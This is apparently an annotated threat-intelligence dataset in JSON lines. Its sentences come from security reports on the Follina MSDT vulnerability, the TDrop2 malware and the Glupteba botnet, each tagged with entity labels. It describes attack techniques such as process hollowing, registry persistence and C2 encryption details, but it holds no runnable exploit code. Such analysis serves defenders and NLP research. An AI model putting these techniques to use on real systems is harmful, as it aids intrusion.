-{"id":2154,"text":" The JavaScript embedded within the HTML uses the ms-msdt schema to invoke the PCWDiagnostic pack, to reference the IT_BrowseForFile to execute the base64-encoded PowerShell Invoke-Expression command.  The base64-decoded text within the PowerShell Invoke-Expression is shown in Figure 2 below.","entities":[{"id":47294,"label":"tools","start_offset":163,"end_offset":173},{"id":47295,"label":"tools","start_offset":237,"end_offset":247}],"relations":[],"Comments":[]}
-{"id":2155,"text":" This code does a few things.","entities":[],"relations":[],"Comments":[]}
-{"id":2156,"text":"First it kills the msdt.exe process.","entities":[{"id":47296,"label":"FILEPATH","start_offset":19,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":2157,"text":"Then the code loops through the files within a .rar archive looking for a CAB file (TVNDRgAAAA base64 decodes to MSCF, which is the magic header of a CAB file).","entities":[],"relations":[],"Comments":[]}
-{"id":2158,"text":"It then stores it in a file called 1.t. 1.t, which gets base64 decoded to 1.c, expanded to rgb.exe and then finally executed.","entities":[],"relations":[],"Comments":[]}
-{"id":2159,"text":" None of the reports we’ve seen have recovered the final payload.","entities":[],"relations":[],"Comments":[]}
-{"id":2160,"text":"Therefore, the contents are unknown.","entities":[],"relations":[],"Comments":[]}
-{"id":2161,"text":" The use of remote templates to deliver malicious documents is not new, however, historically they’ve been used to host .docm or dotm (macro-enabled Word documents), which would still be affected by the local systems’s Word macro policy.","entities":[{"id":47298,"label":"SOFTWARE","start_offset":219,"end_offset":224},{"id":47297,"label":"SOFTWARE","start_offset":149,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":2162,"text":"Therefore, the vulnerability of particular note in this attack lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file.","entities":[{"id":47300,"label":"SOFTWARE","start_offset":162,"end_offset":166},{"id":47299,"label":"SOFTWARE","start_offset":83,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":2163,"text":"This allows execution of code within the context of Microsoft Word, even if macros are disabled.","entities":[{"id":45405,"label":"SOFTWARE","start_offset":52,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":2164,"text":" Protected View was triggered during execution of the nao_sec example, however, John Hammond demonstrated you can bypass Protected View by using an RTF file instead.","entities":[],"relations":[],"Comments":[]}
-{"id":2165,"text":"This allows the attack to succeed even if the user simply views the file in the preview pane – with no clicks on the document necessary – making the attack much more dangerous.","entities":[],"relations":[],"Comments":[]}
-{"id":2166,"text":" Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.","entities":[{"id":45406,"label":"identity","start_offset":1,"end_offset":10},{"id":45407,"label":"vulnerability","start_offset":63,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":2167,"text":"They provided a workaround to disable the MSDT URL protocol, however, this may break other diagnostic tools that rely on the MSDT URL protocol to operate.","entities":[],"relations":[],"Comments":[]}
-{"id":2168,"text":"They also recommend ensuring cloud-delivered protections and automatic sample submission for Microsoft Defender are enabled.","entities":[{"id":47301,"label":"SOFTWARE","start_offset":93,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":2169,"text":"Microsoft recommends that customers of Microsoft Defender for Endpoint enable the attack surface reduction rule BlockOfficeCreateProcessRule.","entities":[{"id":45408,"label":"identity","start_offset":0,"end_offset":9},{"id":45409,"label":"SOFTWARE","start_offset":39,"end_offset":70}],"relations":[],"Comments":[]}
-{"id":2170,"text":" So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe.","entities":[{"id":47302,"label":"identity","start_offset":9,"end_offset":27},{"id":47303,"label":"FILEPATH","start_offset":176,"end_offset":187},{"id":47304,"label":"FILEPATH","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":2171,"text":"Palo Alto Networks and Unit 42 will continue to monitor for evidence of exploitation and further novel use cases.","entities":[{"id":47305,"label":"identity","start_offset":0,"end_offset":18},{"id":47306,"label":"identity","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":2172,"text":" Based on the amount of publicly available information, the ease of use and the extreme effectiveness of this exploit, Palo Alto Networks highly recommends following Microsoft’s guidance to protect your enterprise until a patch is issued to fix the problem.","entities":[{"id":45410,"label":"identity","start_offset":119,"end_offset":137},{"id":45411,"label":"identity","start_offset":166,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":2173,"text":" Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription can automatically block sessions related to this vulnerability using Threat ID 92623 (Application and Threat content update 8575).  WildFire and Cortex XDR categorize all known samples we’ve come across as malware.","entities":[{"id":47307,"label":"SOFTWARE","start_offset":67,"end_offset":105},{"id":47308,"label":"SOFTWARE","start_offset":260,"end_offset":268},{"id":47309,"label":"SOFTWARE","start_offset":273,"end_offset":283}],"relations":[],"Comments":[]}
-{"id":2174,"text":" Cortex XDR Agent 7.5 and higher (with content version 540-92526) prevents attempts to exploit this vulnerability with the Behavioral Threat Protection module.","entities":[{"id":47310,"label":"SOFTWARE","start_offset":1,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2175,"text":"The Cortex XSOAR “CVE-2022-30190 - MSDT RCE” playbook helps speed up the discovery and remediation of compromised hosts within the network.","entities":[{"id":45412,"label":"vulnerability","start_offset":18,"end_offset":32},{"id":45413,"label":"SOFTWARE","start_offset":4,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":2176,"text":"The playbook can be found on the XSOAR marketplace.","entities":[],"relations":[],"Comments":[]}
-{"id":2177,"text":" Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.","entities":[],"relations":[],"Comments":[]}
-{"id":2178,"text":"Customers can leverage this service with best practice configuration for further protection.","entities":[],"relations":[],"Comments":[]}
-{"id":2179,"text":" If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:  As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.","entities":[{"id":47312,"label":"identity","start_offset":190,"end_offset":208},{"id":47311,"label":"identity","start_offset":92,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":2180,"text":"Updated June 3, 2022, at 3:30 p.m. PT.","entities":[{"id":47313,"label":"TIME","start_offset":8,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":2181,"text":"  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2182,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2183,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2184,"text":"Palo Alto Networks recently identified a new campaign targeting the transportation sector in Europe with ties to the Dark Seoul and Operation Troy campaigns that took place in 2013.","entities":[{"id":45416,"label":"campaign","start_offset":117,"end_offset":127},{"id":45417,"label":"campaign","start_offset":132,"end_offset":146},{"id":45418,"label":"TIME","start_offset":176,"end_offset":180},{"id":45414,"label":"identity","start_offset":0,"end_offset":18},{"id":45415,"label":"location","start_offset":93,"end_offset":99},{"id":6575,"label":"threat-actor","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":2185,"text":"This new campaign used updated instances of the Tdrop malware family discovered in the Operation Troy campaign.","entities":[{"id":6580,"label":"malware","start_offset":48,"end_offset":53},{"id":47314,"label":"campaign","start_offset":87,"end_offset":110}],"relations":[{"id":313,"from_id":47314,"to_id":6580,"type":"delivers"}],"Comments":[]}
-{"id":2186,"text":"For more information on the new campaign discovered by Unit 42, please refer to our recent blog post.","entities":[{"id":47315,"label":"identity","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2187,"text":"In this attack, attackers embedded the TDrop2 malware inside a legitimate video software package hosted on the software distributor’s website.","entities":[{"id":45419,"label":"malware","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":2188,"text":"By doing this, they were able to target organizations that relied on the distributor’s security camera solution and infect their systems with malware.","entities":[],"relations":[],"Comments":[]}
-{"id":2189,"text":"They created a true Trojan horse, which sneaks into a network as a gift, but when opened, the attacker’s army leaps out.","entities":[],"relations":[],"Comments":[]}
-{"id":2190,"text":" The malware used for the attempted infection purported to be a legitimate video player, providing viewing software for security camera solutions.","entities":[],"relations":[],"Comments":[]}
-{"id":2191,"text":"The following two unique file names were involved in the attack.","entities":[],"relations":[],"Comments":[]}
-{"id":2192,"text":" The difference between the files involves the specific video player that was dropped and executed during runtime.","entities":[],"relations":[],"Comments":[]}
-{"id":2193,"text":"Each file would drop and execute the full or light version of the legitimate video player respective to the file name.","entities":[],"relations":[],"Comments":[]}
-{"id":2194,"text":" Both the legitimate copy of the video player, as well as a malicious executable were bundled into a single executable.","entities":[],"relations":[],"Comments":[]}
-{"id":2195,"text":"These files were added to the end of the Trojan executable, as seen below.","entities":[],"relations":[],"Comments":[]}
-{"id":2196,"text":" When initially run, the malware checks to see if its parent process is either explorer.exe or cmd.exe.","entities":[{"id":45421,"label":"FILEPATH","start_offset":95,"end_offset":102},{"id":45420,"label":"FILEPATH","start_offset":79,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":2197,"text":"In the event the malware is not running in the context of either of these processes, it will exit.","entities":[],"relations":[],"Comments":[]}
-{"id":2198,"text":"This check exists in a number of the subsequent processes\/executables used by the TDrop2 malware variant.","entities":[{"id":6600,"label":"malware","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":2199,"text":" Subsequently, the malware proceeds to extract both the video player and the embedded malware using a series of calls to CreateFile, CreateFileMapping, GetFileSize, and MapViewOfFile.","entities":[],"relations":[],"Comments":[]}
-{"id":2200,"text":"Once extracted, the file writes it to a new file on disk prior to executing it.","entities":[],"relations":[],"Comments":[]}
-{"id":2201,"text":"The video player is written to one of the following locations, based on the original filename:  The malware itself is written to the %TEMP% directory as well.","entities":[{"id":47316,"label":"FILEPATH","start_offset":133,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":2202,"text":"The filename is derived by randomly choosing an executable name from the system32 directory.","entities":[{"id":47317,"label":"FILEPATH","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":2203,"text":"The randomly chosen executable must not contain any of the following strings:  This dropped malware begins by performing the same parent process check witnessed in the original sample.","entities":[],"relations":[],"Comments":[]}
-{"id":2204,"text":"In the event the malware is not running within the parent process of cmd.exe or explorer.exe, it will exit immediately.","entities":[{"id":6607,"label":"malware","start_offset":69,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":2205,"text":"This malware sample will also dynamically load a number of functions and libraries.","entities":[],"relations":[],"Comments":[]}
-{"id":2206,"text":"After the kernel32.dll and ntdll.dll libraries are loaded via calls to GetModuleHandle, the following process takes place:","entities":[{"id":47319,"label":"FILEPATH","start_offset":27,"end_offset":36},{"id":47318,"label":"FILEPATH","start_offset":10,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":2207,"text":" In total, the following 14 functions are loaded during runtime:  ","entities":[],"relations":[],"Comments":[]}
-{"id":2208,"text":"After these functions are loaded, the malware will randomly select an executable from the system32 using the same routine witnessed in the earlier sample.","entities":[{"id":47320,"label":"FILEPATH","start_offset":90,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":2209,"text":"The malware proceeds to spawn a new process of the selected executable and performs a technique called process hollowing to hide itself inside a legitimate executable.","entities":[],"relations":[],"Comments":[]}
-{"id":2210,"text":"This leads us to the next stage of our malware  This particular stage of malware acts as a downloader.","entities":[],"relations":[],"Comments":[]}
-{"id":2211,"text":"The parent process check is not used in this particular sample.","entities":[],"relations":[],"Comments":[]}
-{"id":2212,"text":"The malware initially attempts to download a file from the following location:","entities":[],"relations":[],"Comments":[]}
-{"id":2213,"text":" While the link above shows a file extension of an image, the transferred file is in fact a modified executable file.  The downloaded file has the first two bytes of the PE file format replaced with the characters ‘DW’, instead of the usual ‘MZ’.","entities":[],"relations":[],"Comments":[]}
-{"id":2214,"text":"After the download occurs, the malware immediately corrects the first two bytes with the ‘MZ’ characters prior to writing the file to disk.","entities":[],"relations":[],"Comments":[]}
-{"id":2215,"text":" The downloaded file is dropped to the system32 folder.","entities":[{"id":47321,"label":"FILEPATH","start_offset":39,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":2216,"text":"The malware selects a randomly chosen DLL from this directory.","entities":[],"relations":[],"Comments":[]}
-{"id":2217,"text":"The base name of this DLL is used to write the downloaded file.","entities":[],"relations":[],"Comments":[]}
-{"id":2218,"text":"As an example, in the event apcups.dll was selected, the malware would write the downloaded file to apcups.exe in the same folder.","entities":[{"id":47322,"label":"FILEPATH","start_offset":100,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":2219,"text":"The downloader then proceeds to execute this downloaded file in a new process.","entities":[],"relations":[],"Comments":[]}
-{"id":2220,"text":" As we’ve seen in previous samples, this executable file begins by checking the parent process for the presence of ‘cmd.exe’ or ‘explorer.exe’.","entities":[{"id":45422,"label":"FILEPATH","start_offset":116,"end_offset":123},{"id":45423,"label":"FILEPATH","start_offset":129,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":2221,"text":"It proceeds to randomly select an executable file in the system32 folder, and performs process hollowing against it.","entities":[{"id":47324,"label":"attack-pattern","start_offset":87,"end_offset":104},{"id":47323,"label":"FILEPATH","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":2222,"text":"The injected executable contains the last stage of the TDrop2 malware variant.","entities":[{"id":6630,"label":"malware","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":2223,"text":" Upon execution, we once again see the parent process check to determine if the malware is running within the ‘cmd.exe’ or ‘explorer.exe’ parent process.","entities":[{"id":45424,"label":"FILEPATH","start_offset":111,"end_offset":118},{"id":45425,"label":"FILEPATH","start_offset":124,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":2224,"text":"It continues to dynamically load a number of libraries and functions for later use.","entities":[],"relations":[],"Comments":[]}
-{"id":2225,"text":"A feature that has yet to be seen is that of string encryption.","entities":[],"relations":[],"Comments":[]}
-{"id":2226,"text":"Strings are encrypted using the following function, represented in Python:","entities":[],"relations":[],"Comments":[]}
-{"id":2227,"text":"After dynamically loading functions and libraries, the malware iterates through the running processes and attempts to determine if the ‘V3lite.exe’ process is running.","entities":[{"id":47325,"label":"FILEPATH","start_offset":136,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":2228,"text":"This process name is associated with the South Korean-based AhnLab security software provider.","entities":[{"id":47326,"label":"location","start_offset":41,"end_offset":53},{"id":47327,"label":"identity","start_offset":60,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":2229,"text":"In the event this process is running, the malware will attempt to kill the process’ class window.","entities":[],"relations":[],"Comments":[]}
-{"id":2230,"text":" The final payload proceeds to generate the following mutex to ensure only one copy of the malware is running concurrently:  Global\\SPPLMUTEX  The payload then spawns two threads—one to maintain persistence and another to gather victim information and perform command and control operations.","entities":[],"relations":[],"Comments":[]}
-{"id":2231,"text":"Persistence is achieved by setting the following registry key:  HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run  HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run  The name of the registry key in the above instances is derived from the basename of the supplied argument.","entities":[{"id":6650,"label":"REGISTRYKEY","start_offset":64,"end_offset":114},{"id":6651,"label":"REGISTRYKEY","start_offset":116,"end_offset":166}],"relations":[],"Comments":[]}
-{"id":2232,"text":"In the event the supplied argument was C:\\malware.exe, the registry key would be named ‘malware’, and the path for this key would be ‘C:\\malware.exe’.  The persistence thread runs in a loop where the registry keys are set every 60 seconds, ensuring persistence even in the event an administrator manually deletes the registry keys.","entities":[{"id":45426,"label":"FILEPATH","start_offset":39,"end_offset":53},{"id":45427,"label":"FILEPATH","start_offset":134,"end_offset":148},{"id":6655,"label":"TIME","start_offset":222,"end_offset":238}],"relations":[],"Comments":[]}
-{"id":2233,"text":" The other thread begins by collecting information about the victim, such as the following:  These data points are used to generate a unique victim ID, which is stored in the following registry key:  HKCU\\SOFTWARE\\Microsoft\\HY08A\\Build  The malware will continue to decrypt and store embedded C2 URLs.","entities":[{"id":47328,"label":"REGISTRYKEY","start_offset":200,"end_offset":235}],"relations":[],"Comments":[]}
-{"id":2234,"text":"The following URLs have been identified:","entities":[],"relations":[],"Comments":[]}
-{"id":2235,"text":" The final payload proceeds to enter its command and control loop.","entities":[],"relations":[],"Comments":[]}
-{"id":2236,"text":"It initially performs a DNS check against microsoft.com to ensure it has Internet connectivity.","entities":[],"relations":[],"Comments":[]}
-{"id":2237,"text":"After this check is performed, it enters an infinite loop, with a sleep interval set at a default of 30 minutes.","entities":[{"id":6668,"label":"TIME","start_offset":101,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":2238,"text":"The malware will periodically poll the C2 server and determine if any commands are received.","entities":[],"relations":[],"Comments":[]}
-{"id":2239,"text":"The initial POST request contains a unique victim identifier that was previously generated.","entities":[],"relations":[],"Comments":[]}
-{"id":2240,"text":"The optional response by the C2 server is both encoded and encrypted.  The data is first encrypted using an unidentified algorithm.","entities":[],"relations":[],"Comments":[]}
-{"id":2241,"text":"The two keys used for this encryption are generated using another unidentified algorithm.","entities":[],"relations":[],"Comments":[]}
-{"id":2242,"text":"The following Python script can be used to generate the keys.","entities":[],"relations":[],"Comments":[]}
-{"id":2243,"text":"A default salt of ‘FFFFFFFF’ is used.","entities":[],"relations":[],"Comments":[]}
-{"id":2244,"text":" Additionally, the following Python script can be used for encryption\/decryption  ","entities":[],"relations":[],"Comments":[]}
-{"id":2245,"text":"After the data is encrypted, it is then base64-encoded using a custom alphabet.","entities":[],"relations":[],"Comments":[]}
-{"id":2246,"text":"The following alphabet is used:  3bcd1fghijklmABCDEFGH-J+LMnopq4stuvwxyzNOPQ7STUVWXYZ0e2ar56R89K\/  ","entities":[],"relations":[],"Comments":[]}
-{"id":2247,"text":"When the previously mentioned C2 response is both decoded and decrypted, we are presented with the following data:  The command structure of the C2 response always begins with the string ‘tick’","entities":[],"relations":[],"Comments":[]}
-{"id":2248,"text":"The number following this string is most likely a unique command identifier.","entities":[],"relations":[],"Comments":[]}
-{"id":2249,"text":"The malware will store these command identifiers in the following files:  In the event the number after the tick was previously witnessed, the command from the C2 will be ignored.","entities":[],"relations":[],"Comments":[]}
-{"id":2250,"text":"The remaining lines are then parsed.","entities":[],"relations":[],"Comments":[]}
-{"id":2251,"text":"The following commands are supported:  Once again, using the previous example, the malware will first ensure that the command was not previously parsed\/executed.","entities":[],"relations":[],"Comments":[]}
-{"id":2252,"text":"In the event it is new, it will proceed to execute the various reconnaissance commands found on line #2.","entities":[],"relations":[],"Comments":[]}
-{"id":2253,"text":"The results of these commands are uploaded to the C2 server.","entities":[],"relations":[],"Comments":[]}
-{"id":2254,"text":" As we can see in the above network traffic, the malware attempts to disguise the data as a .gif image.","entities":[],"relations":[],"Comments":[]}
-{"id":2255,"text":"Finally, the malware will parse the third line, which instructs the malware to modify the wait interval to a value of ‘60’.","entities":[],"relations":[],"Comments":[]}
-{"id":2256,"text":"This interval value is set in the following registry key:  HKCU\\Software\\Microsoft\\HY08A\\Policy  Additionally, in the event the C2 response instructs the malware to update C2 URLs, it will be in the following format:  1001; [unique_identifier] [url]  The malware will encrypt the URL string with a 4-byte XOR key of “\\x01\\x02\\x03\\x04” and store this data in the following registry key:  HKCU\\Software\\Microsoft\\HY08A\\[unique_identifier]  The TDrop2 malware family that was witnessed in a recent attack against a European transportation company provided a minimal set of commands to the attackers.","entities":[{"id":45428,"label":"REGISTRYKEY","start_offset":59,"end_offset":95},{"id":45430,"label":"malware","start_offset":442,"end_offset":448},{"id":6702,"label":"REGISTRYKEY","start_offset":387,"end_offset":435},{"id":47329,"label":"location","start_offset":512,"end_offset":520}],"relations":[],"Comments":[]}
-{"id":2257,"text":"It was most likely used to establish a foothold, perform reconnaissance and deploy further malware into the victim’s network.","entities":[],"relations":[],"Comments":[]}
-{"id":2258,"text":"While the malware lacked a large set of capabilities, it had a wealth of interesting and advanced features, such as the custom encryption\/encoding witnessed in the network traffic, the use of process hollowing against a randomly selected Microsoft Windows binary, and the downloading component that attempted to bypass network security measures by modifying the executable header.","entities":[{"id":47331,"label":"SOFTWARE","start_offset":238,"end_offset":255},{"id":47330,"label":"attack-pattern","start_offset":192,"end_offset":209}],"relations":[],"Comments":[]}
-{"id":2259,"text":" We created the AutoFocus tag TDrop2 to identify samples of this new variant and added known C2 domains and hash values to the Threat Prevention product set.","entities":[{"id":45431,"label":"malware","start_offset":30,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":2260,"text":"At this time, WildFire is able to correctly identify the samples associated with this campaign as malicious.","entities":[{"id":47332,"label":"SOFTWARE","start_offset":14,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":2261,"text":" Stage 1  Stage 2  Stage 3  Stage 4  Stage 5  ","entities":[],"relations":[],"Comments":[]}
-{"id":2262,"text":"Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2263,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":2264,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[{"id":47333,"label":"TIME","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":2265,"text":"It was last updated on May 12, 2022.","entities":[{"id":45432,"label":"TIME","start_offset":23,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":2266,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":47334,"label":"location","start_offset":193,"end_offset":200}],"relations":[],"Comments":[]}
-{"id":2267,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":47335,"label":"identity","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":2268,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[],"relations":[],"Comments":[]}
-{"id":2269,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":6747,"label":"malware","start_offset":73,"end_offset":81},{"id":47336,"label":"identity","start_offset":20,"end_offset":26},{"id":47337,"label":"SOFTWARE","start_offset":118,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":2270,"text":"We believe this action will have a significant impact on Glupteba's operations.","entities":[{"id":47338,"label":"malware","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":2271,"text":"However, the operators of Glupteba are likely to attempt to regain control of the botnet using a backup command and control mechanism that uses data encoded on the Bitcoin blockchain.","entities":[{"id":45434,"label":"malware","start_offset":26,"end_offset":34},{"id":45433,"label":"SOFTWARE","start_offset":164,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":2272,"text":"Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices.","entities":[{"id":47339,"label":"malware","start_offset":0,"end_offset":8},{"id":47343,"label":"attack-pattern","start_offset":57,"end_offset":96},{"id":47340,"label":"SOFTWARE","start_offset":144,"end_offset":151},{"id":47341,"label":"attack-pattern","start_offset":21,"end_offset":55},{"id":47342,"label":"attack-pattern","start_offset":98,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":2273,"text":"TAG has observed the botnet targeting victims worldwide, including the US, India, Brazil and Southeast Asia.","entities":[{"id":47345,"label":"location","start_offset":71,"end_offset":73},{"id":47344,"label":"identity","start_offset":0,"end_offset":3},{"id":47347,"label":"location","start_offset":82,"end_offset":88},{"id":47346,"label":"location","start_offset":75,"end_offset":80},{"id":47348,"label":"location","start_offset":93,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":2274,"text":"The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).","entities":[{"id":45435,"label":"malware","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2275,"text":"For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.","entities":[{"id":6771,"label":"malware","start_offset":70,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":2276,"text":"The following image shows a webpage mimicking a software crack download which delivers a variant of Glupteba to users instead of the promised software.","entities":[{"id":6773,"label":"malware","start_offset":100,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":2277,"text":"While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.","entities":[{"id":45437,"label":"DOMAIN","start_offset":95,"end_offset":114},{"id":45436,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":2278,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":6777,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":2279,"text":"These services include selling access to virtual machines loaded with stolen credentials (dont[.]farm), proxy access (awmproxy), and selling credit card numbers (extracard) to be used for other malicious activities such as serving malicious ads and payment fraud on Google Ads.","entities":[{"id":47349,"label":"DOMAIN","start_offset":90,"end_offset":101},{"id":47350,"label":"SOFTWARE","start_offset":266,"end_offset":276}],"relations":[],"Comments":[]}
-{"id":2280,"text":"This past year, TAG has been collaborating with Google’s CyberCrime Investigation Group to disrupt Glupteba activity involving Google services.","entities":[{"id":45441,"label":"identity","start_offset":16,"end_offset":19},{"id":45438,"label":"malware","start_offset":99,"end_offset":107},{"id":45439,"label":"identity","start_offset":48,"end_offset":87},{"id":45440,"label":"SOFTWARE","start_offset":127,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":2281,"text":"We’ve terminated around 63M Google Docs observed to have distributed Glupteba, 1,183 Google Accounts, 908 Cloud Projects, and 870 Google Ads accounts associated with their distribution.","entities":[{"id":47353,"label":"SOFTWARE","start_offset":130,"end_offset":140},{"id":47351,"label":"SOFTWARE","start_offset":28,"end_offset":39},{"id":47352,"label":"malware","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":2282,"text":"Furthermore, 3.5M users were warned before downloading a malicious file through Google Safe Browsing warnings.","entities":[{"id":47354,"label":"SOFTWARE","start_offset":80,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":2283,"text":"In the last few days, our team partnered with Internet infrastructure providers and hosting providers, including Cloudflare, to disrupt Glupteba’s operation by taking down servers and placing warning interstitial pages in front of the malicious domain names.","entities":[{"id":45443,"label":"malware","start_offset":136,"end_offset":144},{"id":45442,"label":"identity","start_offset":113,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":2284,"text":"During this time, an additional 130 Google accounts associated with this operation were terminated.","entities":[{"id":47355,"label":"identity","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":2285,"text":"Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.","entities":[{"id":47357,"label":"identity","start_offset":77,"end_offset":83},{"id":47356,"label":"malware","start_offset":179,"end_offset":187},{"id":47358,"label":"location","start_offset":154,"end_offset":160}],"relations":[{"id":314,"from_id":47356,"to_id":47358,"type":"located-at"}],"Comments":[]}
-{"id":2286,"text":"Google is alleging violations under the Racketeer Influenced and Corrupt Organizations Act (RICO), the Computer Fraud and Abuse Act, the Electronic Communications Privacy Act, the Lanham Act, and tortious interference of business relationships, and unjust enrichment.","entities":[{"id":45444,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
-{"id":2287,"text":"While these actions may not completely stop Glupteba, TAG estimates that combined efforts will materially affect the actor’s ability to conduct future operations.","entities":[{"id":47360,"label":"identity","start_offset":54,"end_offset":57},{"id":47359,"label":"malware","start_offset":44,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":2288,"text":"The command and control (C2) communication for this botnet uses HTTPS to communicate commands and binary updates between the control servers and infected systems.","entities":[],"relations":[],"Comments":[]}
-{"id":2289,"text":"To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.","entities":[{"id":45445,"label":"SOFTWARE","start_offset":108,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":2290,"text":"In the event that the main C2 servers do not respond, the infected systems can retrieve backup domains encrypted in the latest transaction from the following bitcoin wallet addresses:  The following 32 byte AES keys for decryption are hard coded in the binaries:  The blockchain transaction’s OP_RETURN data can be decrypted using AES-256 GCM to provide a backup command and control domain name.","entities":[],"relations":[],"Comments":[]}
-{"id":2291,"text":"The first 12 bytes of the OP_RETURN contains the IV, the last 16 bytes the GCM tag, while the middle section is the AES-256 GCM encrypted domain","entities":[],"relations":[],"Comments":[]}
-{"id":2292,"text":"Full details of Glupteba’s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":45447,"label":"TIME","start_offset":77,"end_offset":81},{"id":45446,"label":"malware","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":2293,"text":"Recent domains used for command and control:","entities":[],"relations":[],"Comments":[]}
-{"id":2294,"text":" Recent sha256 hashes of malware samples:","entities":[],"relations":[],"Comments":[]}
-{"id":2295,"text":" This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021.","entities":[{"id":45448,"label":"TIME","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":2296,"text":"It was last updated on February 7, 2022.","entities":[{"id":47362,"label":"TIME","start_offset":23,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":2297,"text":"To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[{"id":47363,"label":"identity","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]}
